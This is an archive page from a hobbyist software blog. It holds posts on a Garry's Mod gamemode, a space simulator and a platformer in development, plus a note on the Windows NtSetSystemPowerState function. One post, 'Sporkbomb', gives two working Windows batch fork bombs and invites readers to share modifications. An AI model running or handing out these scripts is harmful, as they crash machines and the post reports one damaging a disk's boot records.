Minousoft Software » Programming

New Garry’s Mod Gamemode in Development

oakwhiz — Tue, 11 Aug 2009 19:16:11 +0000

I’ve started working on a new Garry’s Mod gamemode. (For those of you who don’t understand what I’m talking about, see this link.) Since the Lua documentation for Garry’s Mod is a bit tough to understand, I’m going to simplify things a bit and use Fretta as a base for the gamemode. Right now, I’m producing an interesting map and getting the hang of displacements in Hammer.

If you happen to have any GMod Lua or Hammer skills, I would like your help with this little project.

On a side note, if I get this project completed, then I will look into purchasing a public GMod server. The problem is, game servers are expensive, there isn’t a return on my investment, and I won’t be playing on the server a lot, so I will have to get donations and ingame sponsorship for it to work.

If anyone is interested, comment below or use the contact form.

Minousoft on Twitter! (plus minor updates)

oakwhiz — Tue, 30 Jun 2009 05:40:13 +0000

You can now follow Minousoft on Twitter. You’ll get the added benefit of receiving tweets when new posts are made!

Also, some minor updates…

A couple of bugfixes have been made in Polaris. Not much progress has been happening with Polaris lately, and it looks like it’ll take a while before it’s ready for release.
I’ve been working on several ‘experimental’ apps lately. I might post one up sometime soon.
Some previously unknown 404 and 403 errors on the site have been fixed.
The server software and hardware is being improved. No downtime is expected at all.

Polaris – New game in development

oakwhiz — Sat, 18 Apr 2009 18:36:42 +0000

We’re working on a new game called Polaris, which will be a space travel simulator. Polaris will be my top development priority until June, when we expect to release a public beta. Note that I will probably spend less time improving the site until then.

The main goal of Polaris is to simulate the design ideas and processes that go into planning and launching space missions. We would also like to make Polaris both educational and fun at the same time.

Spacecraft in Polaris are constructed using a revolutionary modular approach. All spacecraft are comprised of small interconnected modules. Each module has its own functions and behavior, and works together with its neighbors. A simple example would be a space probe. It could include a main computer, a communications dish, and a thruster. Each part would be a module, and they would be linked together with special dynamic constraints. The constraints ensure that the modules stay together, even if one of the modules rotates or moves away. If a constraint or one of a constraint’s constrained modules is destroyed, the other modules attached to the constraint will simply disconnect and float away. This allows for some dramatic explosions; i.e. as modules are destroyed, the other modules connected start to break off in chunks and collide with each other, leaving a trail of burning debris.

At this point in development, we have finished basic constraint operations, and I have succeeded in linking five modules and having them interact successfully. This compares to the old physics system, which had major bugs and collided with itself, usually with catastrophic results. But the new physics system is astounding. The individual modules, which move and collide normally, act as one object when a simple constraint object is created between them. Hopefully the rest of it will go smoothly.

The following tasks are on the priority to-do list:

Make multiple-object rotation more realistic. This is when multiple constrained modules have a spinning force and moving force acting on all of the modules at once. Right now it works (mostly) but acts a little odd.
Improve force propagation. This is when a force on one constrained object causes a force on the other. This should scale automatically to situations when one module is the master to several other constrained modules.
Create and test thruster capabilities.

Rovernet Video and Minousoft File Hosting

oakwhiz — Sun, 12 Apr 2009 04:05:31 +0000

This Easter weekend, I have uploaded four new items to the Media Player, including a video of a new game called Rovernet. Now, I don’t want to release too many details about Rovernet at this point, since the project is still under development and is just the ‘shell’ of a game, but I will tell you the basics. Rovernet will be a 2D platformer centered around a small robot, which has been sent to another planet. This robot’s goal is to explore the surrounding area, gather information, and collect samples from the environment. The game has a very solid physics system for the robot itself, as the robot is capable of both flying, using rocket boosters, and driving on terrain, using tank treads. The robot’s physics system is easy to grasp, and flying is accomplished with only three keys. When the robot is set on a flat surface, any lateral movements are accomplished with the treads instead of the rocket boosters. See the video in the Media Player for an illustration of how this works.

Also check out the three new remixes in the Media Player:

Tetris Theme Remix
Final Fantasy 7 Battle Remix
Final Fantasy 7 Prelude Remix

I would also like to inform everyone about our new experimental file hosting service called Minousoft File Upload. It is currently in beta.

Sporkbomb

oakwhiz — Sun, 22 Mar 2009 05:08:49 +0000

This just in: hxhl95 reports that Sporkbomb B somehow managed to corrupt the MFT (master file table) and boot records on his PC’s hard drive. Don’t try this at home.

Yesterday, I was a bit bored and decided to make a Windows forkbomb.

Definition: forkbomb»

WARNING: DO NOT ATTEMPT TO RUN ANY OF THE CODE EXAMPLES PRESENTED IN THIS ARTICLE.
REALLY! DON’T TRY THIS AT HOME.
WE TAKE NO RESPONSIBILITY FOR YOUR ACTIONS.

That said, here’s the code for Sporkbomb A:
Sporkbomb A»
Sporkbomb A has randomization to make it more fun to watch. You can try to kill the processes and watch as they come back.

Here’s the code for Sporkbomb B:
Sporkbomb B»
Sporkbomb B is highly dangerous and can crash your system instantly. DO NOT RUN IT.

Post your forkbomb modifications here. We want to see them!

A fork bomb is a program that executes a form of DOS Attack. On a computer, it repeatedly forks (or creates new processes) until the computer crashes. All currently running programs may become unresponsive and become impossible to close.

@echo off

echo SPORKBOMB A: PROCESS START

:loop

IF %random% lss 30 %0|%0

IF %random% lss 5 start %0

goto loop

@echo off

echo SPORKBOMB B: PROCESS START

:loop

start %0

goto loop

NtSetSystemPowerState Documented

hxhl95 — Wed, 18 Mar 2009 18:18:44 +0000

Deep inside the Windows kernel, there crawls many, many undocumented functions. With Microsoft’s secrecy, developers have only been able to document most of them, but not all.

There is one function, however, that has been known to exist but is not documented anywhere (or at least not in any source I’ve seen). That function is NtSetSystemPowerState. It’s known that NtShutdownSystem calls NtSetSystemPowerState at the very last stages of the Windows shutdown process after flushing all Registry hives, clearing the disc cache, etc. NtSetSystemPowerState is then responsible for turning off all plug-and-pray devices and either telling the system to poweroff, reboot, sleep, or hibernate.

The formal definition of NtSetSystemPowerState is the following:
Code»

Note that on systems with NT4.0 or earlier, NtSetSystemPowerState does nothing, and only returns a STATUS_NOT_IMPLEMENTED message.

Both POWER_ACTION and SYSTEM_POWER_STATE are documented on msdn, while flags is simply the reason for shutdown, also documented on msdn.

To read more on how to call this function by using NTDLL.DLL, visit my article on CodeProject:
http://www.codeproject.com/KB/winsdk/Windows_Shutdown.aspx

NTSYSAPI

NTSTATUS

NTAPI

NtSetSystemPowerState(

IN POWER_ACTION SystemAction,

IN SYSTEM_POWER_STATE MinSystemState,

IN ULONG Flags);